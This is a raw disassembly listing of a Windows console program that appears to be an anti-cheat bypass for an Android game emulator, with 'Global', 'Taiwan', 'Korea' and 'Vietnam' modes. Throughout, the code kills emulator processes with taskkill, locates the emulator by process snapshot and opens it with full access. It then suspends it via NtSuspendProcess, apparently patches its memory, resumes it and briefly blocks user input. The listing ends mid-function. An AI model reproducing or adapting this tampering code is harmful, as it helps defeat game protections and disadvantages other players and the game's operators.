mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b770
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b774
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a9d4
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db24
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab50
call fcn.0045f410
push 0x64
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4503d0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._Your_Choice_:
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a71a
call fcn.0045f410
push 0x32
call esi
mov eax, dword [ebp - 0x84]
cmp eax, 1
jne 0x458d70
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450460
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b77c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b778
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b784
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b9b4
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b784
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b770
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a940
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b774
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab18
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b780
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b77c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.REGUPOAN
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b778
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab18
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b780
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b9b8
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b780
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b9b4
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab3c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab50
call fcn.0045f410
push 0xa
call esi
push 0x63b788
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
sub esp, 0x14
xorps xmm0, xmm0
mov ecx, esp
movups xmmword [ecx], xmm0
push 0x22
push str.taskkill__F__IM_AndroidProcess.exe
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x20
push str.taskkill__F__IM_ProjectTitan.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x23
push str.taskkill__F__im_AndroidEmulator.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x25
push str.taskkill__F__im_AndroidEmulatorEn.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x25
push str.taskkill__F__im_AndroidEmulatorEx.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
mov ecx, esp
xorps xmm0, xmm0
push 0x1c
push str.taskkill__F__im_Gameloop.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
add esp, 0x18
lea ecx, [ebp - 0xc8]
call fcn.00455bf0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xa0]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x90], 0
push str.emulator
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x8c], 0
call fcn.00460400
sub esp, 0x18
mov byte [ebp - 4], 1
lea eax, [ebp - 0xc8]
mov dword [ebp - 0x448], esp
mov ecx, esp
push eax
call fcn.0045ca30
sub esp, 0x18
mov byte [ebp - 4], 2
lea eax, [ebp - 0xa0]
mov ecx, esp
push eax
call fcn.0045ca30
mov byte [ebp - 4], 1
call fcn.00455d60
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 0x30
push 0x450490
cmp eax, 0xffffffff
je 0x45968a
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
jmp 0x459b4f
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
call fcn.004523e0
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop word [eax + eax]
push 0
push 2
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x30], eax
push ecx
push eax
mov dword [ebp - 0x1f0], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
lea eax, [ebp - 0x1f0]
push eax
push dword [ebp - 0x30]
call edi
test eax, eax
je 0x459767
mov esi, dword [ebp - 0x34]
nop dword [eax]
mov ecx, str.ProjectTitan.exe
lea eax, [ebp - 0x1cc]
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x459730
test dl, dl
je 0x45972c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x459730
add eax, 2
add ecx, 2
test dl, dl
jne 0x459710
xor eax, eax
jmp 0x459735
sbb eax, eax
or eax, 1
test eax, eax
jne 0x459751
mov eax, dword [ebp - 0x1dc]
cmp eax, esi
jle 0x459751
mov esi, eax
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x450], eax
lea eax, [ebp - 0x1f0]
push eax
push dword [ebp - 0x30]
call edi
test eax, eax
jne 0x459700
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x30], eax
push ecx
push eax
mov dword [ebp - 0x318], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
lea eax, [ebp - 0x318]
push eax
push dword [ebp - 0x30]
call edi
test eax, eax
je 0x459817
mov esi, dword [ebp - 0x34]
mov ecx, str.AndroidEmulator.exe
lea eax, [ebp - 0x2f4]
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4597e0
test dl, dl
je 0x4597dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4597e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4597c0
xor eax, eax
jmp 0x4597e5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x459801
mov eax, dword [ebp - 0x304]
cmp eax, esi
jle 0x459801
mov esi, eax
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x44c], eax
lea eax, [ebp - 0x318]
push eax
push dword [ebp - 0x30]
call edi
test eax, eax
jne 0x4597b0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x448], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x30], eax
push ecx
push eax
mov dword [ebp - 0x440], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
lea eax, [ebp - 0x440]
push eax
push dword [ebp - 0x30]
call edi
test eax, eax
je 0x4598c4
mov esi, dword [ebp - 0x448]
mov ecx, str.AndroidEmulatorEn.exe
lea eax, [ebp - 0x41c]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x459890
test dl, dl
je 0x45988c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x459890
add eax, 2
add ecx, 2
test dl, dl
jne 0x459870
xor eax, eax
jmp 0x459895
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4598ae
mov eax, dword [ebp - 0x42c]
cmp eax, esi
jle 0x4598ae
mov esi, eax
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x440]
push eax
push dword [ebp - 0x30]
call edi
test eax, eax
jne 0x459863
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x44c]
test eax, eax
je 0x4598d3
cmp eax, 1
jne 0x4598f6
mov eax, dword [ebp - 0x450]
test eax, eax
je 0x4598e2
cmp eax, 1
jne 0x4598f6
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x4599ec
cmp eax, 1
je 0x4599ec
push 0x63b788
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x50]
call fcn.00455bf0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2c]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.emulator
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
call fcn.00460400
sub esp, 0x18
mov byte [ebp - 4], 7
lea eax, [ebp - 0x50]
mov dword [ebp - 0x448], esp
mov ecx, esp
push eax
call fcn.0045ca30
sub esp, 0x18
mov byte [ebp - 4], 8
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.0045ca30
mov byte [ebp - 4], 7
call fcn.00455d60
add esp, 0x30
cmp eax, 0xffffffff
jne 0x459ae2
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x4599ab
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4599a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x459b29
push ecx
push edx
call fcn.005c22ac
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x4596b0
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4599dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x459b29
push ecx
push edx
call fcn.005c22ac
add esp, 8
jmp 0x4596b0
push 0x63b788
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x50]
call fcn.00455bf0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.emulator
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
call fcn.00460400
sub esp, 0x18
mov byte [ebp - 4], 4
lea eax, [ebp - 0x50]
mov dword [ebp - 0x448], esp
mov ecx, esp
push eax
call fcn.0045ca30
sub esp, 0x18
mov byte [ebp - 4], 5
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.0045ca30
mov byte [ebp - 4], 4
call fcn.00455d60
add esp, 0x30
cmp eax, 0xffffffff
jne 0x459b3b
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x459aa1
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459a97
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457c4e
push ecx
push edx
call fcn.005c22ac
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x4596b0
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459ad3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457c4e
push ecx
push edx
call fcn.005c22ac
add esp, 8
jmp 0x4596b0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450490
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x459b43
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459b2f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459b2f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c22ac
add esp, 8
jmp 0x459b43
lea ecx, [ebp - 0x2c]
call fcn.0045c9a0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 1
call fcn.0045c9a0
push dword [ebp - 0x84]
mov ecx, dword [ebp - 0x38]
mov edx, 1
call fcn.00452b80
add esp, 4
call fcn.004725f0
mov edi, eax
mov dword [ebp - 0x448], edi
test edi, edi
je 0x459b7b
cmp edi, 1
jne 0x459b84
push 0x3e8
call esi
jmp 0x459b65
push 0x3e8
call esi
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x3e8
call esi
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.NtSuspendProcess
push str.ntdll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call esi
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x68], 0x464c457f
mov dword [ebp - 0x64], 0x10101
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0x280003
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x50], 0x1ec3000
mov dword [ebp - 0x4c], 0x34
mov dword [ebp - 0x48], 0x8c6a6e8
mov dword [ebp - 0x44], 0x5000200
mov dword [ebp - 0x40], 0x200034
mov dword [ebp - 0x3c], 0x28000d
call fcn.00472b20
lea ecx, [ebp - 0x68]
mov dword [0x656770], eax
mov dword [ebp - 0x68], 0x464c457f
mov dword [ebp - 0x64], 0x10101
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0x280003
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x50], 0x1ec3000
mov dword [ebp - 0x4c], 0x34
mov dword [ebp - 0x48], 0x8c6a6e8
mov dword [ebp - 0x44], 0x5000200
mov dword [ebp - 0x40], 0x200034
mov dword [ebp - 0x3c], 0x28000d
call fcn.00472b20
mov dword [0x656768], eax
call fcn.00455e90
mov edi, dword [ebp - 0x448]
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov eax, dword [ebp - 0x38]
cmp eax, 1
je 0x45a440
cmp eax, 2
je 0x45a440
cmp eax, 3
je 0x45a440
cmp eax, 4
jne 0x459d7f
cmp dword [0x656768], 0
jne 0x459d86
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._nBypassing_Vietnam_Failed_Exiting_Bypass____
mov ecx, eax
call fcn.0045f410
push 0x1388
call esi
sub esp, 0x18
mov ecx, esp
push str.taskkill__F__IM_AndroidProcess.exe
call fcn.0045c9f0
call fcn.004522c0
mov ecx, esp
push str.taskkill__F__IM_ProjectTitan.exe
call fcn.0045c9f0
call fcn.004522c0
mov ecx, esp
push str.taskkill__F__im_AndroidEmulator.exe
call fcn.0045c9f0
call fcn.004522c0
mov ecx, esp
push str.taskkill__F__im_AndroidEmulatorEn.exe
call fcn.0045c9f0
call fcn.004522c0
mov ecx, esp
push str.taskkill__F__im_AndroidEmulatorEx.exe
call fcn.0045c9f0
call fcn.004522c0
mov ecx, esp
push str.taskkill__F__im_Gameloop.exe
call fcn.0045c9f0
call fcn.004522c0
add esp, 0x18
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ecx, edi
call fcn.00455e50
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.NtResumeProcess
push str.ntdll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.USER32.dll_BlockInput]
push 1
call edi
push 0x2710
call esi
push 0
call edi
call fcn.00456000
mov eax, dword [ebp - 0x38]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x459df2
push 0x40
push 0x63dce0
push str.BYPASS_GLOBAL_DONE
push 0
call edi
mov eax, dword [ebp - 0x38]
cmp eax, 2
jne 0x459e0a
push 0x40
push 0x63dce0
push str.BYPASS_TAIWAN_DONE
push 0
call edi
mov eax, dword [ebp - 0x38]
cmp eax, 3
jne 0x459e22
push 0x40
push 0x63dce0
push str.BYPASS_KOREA_DONE
push 0
call edi
mov eax, dword [ebp - 0x38]
cmp eax, 1
jne 0x459e37
push 0x40
push 0x63dce0
push str.BYPASS_VIETNAM_DONE
push 0
call edi
push 0x64
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push 0xfde9
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450400
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n_FOR_SAFE_EXIT_PRESS__1___n
mov ecx, eax
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
cmp dword [ebp - 0x88], 1
je 0x45a229
nop dword [eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___H
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db18
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db1c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b778
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab18
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b780
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.SMDB.
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._LoginucesThakY_n
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a718
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63db20
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63b76c
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63a718
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63c370
